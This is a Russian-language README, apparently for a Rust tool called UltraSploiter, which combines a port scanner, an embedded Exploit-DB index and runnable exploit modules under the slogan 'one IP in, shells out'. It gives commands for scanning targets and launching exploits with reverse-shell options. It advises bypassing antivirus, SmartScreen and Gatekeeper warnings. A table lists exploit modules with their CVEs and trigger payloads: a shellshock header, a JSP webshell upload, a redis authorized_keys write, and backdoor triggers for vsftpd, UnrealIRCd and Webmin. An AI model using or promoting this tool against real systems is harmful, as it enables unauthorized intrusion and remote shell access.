Один бинарный файл, объединяющий сканер портов, полный индекс Exploit-DB (47 тыс. записей) и исполняемые модули эксплойтов в один инструмент. Написан на Rust, работает на Linux, Windows и macOS.
сканируй, сопоставляй, эксплуатируй — один IP на входе, шеллы на выходе.
Единый бинарник, объединяющий сканер портов, полный индекс Exploit-DB и набор запускаемых модулей эксплойтов в один инструмент. Работает на Linux, Windows и macOS.
| задача | обычно | здесь |
|---|---|---|
| Найти сервисы на хосте | nmap | UltraSploiter scan <ip> |
| Найти эксплойты | searchsploit | UltraSploiter search <kw> |
| Запустить их | msfconsole | UltraSploiter exploit <ip> <module> |

Самый простой и лучший способ — просто взять готовый бинарник и запустить его. Ничего устанавливать не нужно, никаких зависимостей — один самодостаточный файл.
Скачайте со страницы релизов:
UltraSploiter-windows-x86_64.exe → двойной кликUltraSploiter-linux-x86_64Внимание: инструменты безопасности вызывают срабатывания. Windows SmartScreen и антивирус, скорее всего, предупредят или поместят бинарник в карантин — нажмите Подробнее → Выполнить в любом случае, или добавьте исключение, если планируете его оставить.
Дважды кликните UltraSploiter.exe. Откроется меню.
Если SmartScreen предупреждает о неизвестном издателе (так и будет для любого неподписанного бинарника), нажмите Подробнее → Выполнить в любом случае.
chmod +x UltraSploiter-linux-x86_64
./UltraSploiter-linux-x86_64
chmod +x UltraSploiter-macos-arm64
./UltraSploiter-macos-arm64
Если Gatekeeper блокирует его (опять же, любой неподписанный бинарник), либо кликните правой кнопкой → Открыть, либо снимите флаг карантина один раз:
xattr -d com.apple.quarantine UltraSploiter-macos-arm64
Нужна только если для вашей платформы нет бинарника или вы хотите его изменить. Требуется Rust 1.74+.
sudo apt install build-essential # gcc + linker (Debian/Ubuntu)
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh # -> ./UltraSploiter
xcode-select --install # clang + linker
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh # -> ./UltraSploiter
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
.\build.ps1 # -> UltraSploiter.exe
build.ps1 использует тулчейн stable-x86_64-pc-windows-gnu, который линкуется с
MinGW — так что вам не нужны Visual Studio или MSVC. Он устанавливает этот тулчейн,
если он отсутствует. Если у вас уже есть MSVC Build Tools, обычная
cargo build --release тоже сработает.
Внимание для Windows + GNU:
windows-sys(подтягиваемый tokio) вызываетdlltool, который обращается к ассемблеруas— а компонент rust-mingw не поставляетas.build.ps1ищет MinGW bin, содержащий его, в%~dp0tools\mingw64\binи%USERPROFILE%\tools\mingw64\bin, и добавляет его в началоPATH, если находит. Положите туда сборку winlibs, если столкнётесь сerror calling dlltool. Тулчейны MSVC не затронуты.
Без аргументов вы получите меню:
1) Scan a target find open ports and services
2) Search exploits keyword lookup
3) List runnable modules
4) Run an exploit pick a target and a module
5) Console advanced msf-style commands
0) Exit
UltraSploiter scan 10.0.0.5 # top 1000 ports + fingerprint + suggestions
UltraSploiter scan 10.0.0.5 -p 1-1024 -T4 # range, fast timing
UltraSploiter scan 10.0.0.5 -p - # all 65535 ports
UltraSploiter scan 10.0.0.5 -sU # UDP scan
UltraSploiter scan 10.0.0.5 --json
UltraSploiter scan 10.0.0.5 -oX out.xml
UltraSploiter search samba
UltraSploiter info 17491
UltraSploiter show 17491 # print the PoC source for an Exploit-DB id
UltraSploiter modules
UltraSploiter msf search smb # bridge to Metasploit (needs it installed)
UltraSploiter exploit 10.0.0.5 vsftpd_234
UltraSploiter exploit 10.0.0.5 shellshock -o lhost=10.0.0.1 -o lport=4444
UltraSploiter console
В Linux/macOS добавляйте префикс ./ (например, ./UltraSploiter scan 10.0.0.5).
| флаг | значение |
|---|---|
-p <spec> | top (1000), 80,443, 1-1024, - (все) |
-T0..-T5 | шаблон тайминга — от медленного/тихого до быстрого/шумного |
-sU | UDP-зондирование |
-sV | определение сервиса/версии (включено по умолчанию) |
--no-banner | пропустить захват баннеров |
--json | JSON в stdout |
-oX <file> | XML в стиле nmap |
Сканер асинхронный (tokio): каждый уровень -T задаёт, сколько сокетов
одновременно в работе (до 8000 при -T5), так что он покрывает top-1000 nmap за пару
секунд. Каждый «открытый» — это завершённое TCP-рукопожатие, поэтому результаты точны.
-o key=value)| ключ | используется | значение |
|---|---|---|
lhost, lport | модули rev-shell | адрес обратного подключения |
rport | веб-модули | переопределить HTTP-порт |
path | shellshock, struts, phpunit | путь эндпоинта |
user, pass | tomcat_manager | учётные данные менеджера |
core | solr_rce | имя ядра Solr |
file | grafana_lfi | файл для чтения |
ssh_pubkey | redis_unauth | ключ для добавления в authorized_keys |
src, dst | proftpd_modcopy | источник / назначение копирования |
timeout | все | таймаут сокета в секундах |
search и info опираются на полный индекс Exploit-DB — 47 000+ записей
(тот же набор данных, что использует searchsploit), встроенный в бинарник. Когда запись
содержит CVE, реализованный запускаемым модулем, info связывает их:
$ UltraSploiter info 17491
Exploit-DB 17491
description vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
codes OSVDB-73573;CVE-2011-2523
[runnable] vsftpd_234
UltraSploiter exploit <ip> vsftpd_234
| модуль | CVE | триггер |
|---|---|---|
vsftpd_234 | CVE-2011-2523 | имя пользователя :) → root bind shell на 6200 |
unrealircd_backdoor | CVE-2010-2075 | AB; <cmd> через IRC |
distcc_exec | CVE-2004-2687 | аргумент компилятора протокола DIST |
proftpd_modcopy | CVE-2015-3306 | копирование файла SITE CPFR/CPTO |
redis_unauth | — | CONFIG SET записывает ключ или запись cron |
shellshock | CVE-2014-6271 | User-Agent: () { :; }; <cmd> |
struts2_5638 | CVE-2017-5638 | OGNL в Content-Type |
tomcat_put | CVE-2017-12615 | PUT JSP-вебшелла |
tomcat_manager | — | развернуть WAR через /manager |
elasticsearch_groovy | CVE-2015-1427 | Groovy RCE в _search |
drupalgeddon2 | CVE-2018-7600 | колбэк рендеринга Form API |
phpunit_eval | CVE-2017-9841 | eval-stdin.php |
jenkins_script | CVE-2019-1003000 | неаутентифицированный Groovy /script |
solr_rce | CVE-2019-17558 | шаблон Velocity в stream.body |
grafana_lfi | CVE-2021-43798 | чтение файла через обход пути плагина |
webmin_backdoor | CVE-2019-15107 | password_change.cgi передаёт значение в шелл |
php_cgi_arg_injection | CVE-2012-1823 | -d auto_prepend_file через строку запроса |
Каждый реализует недеструктивный check() и run().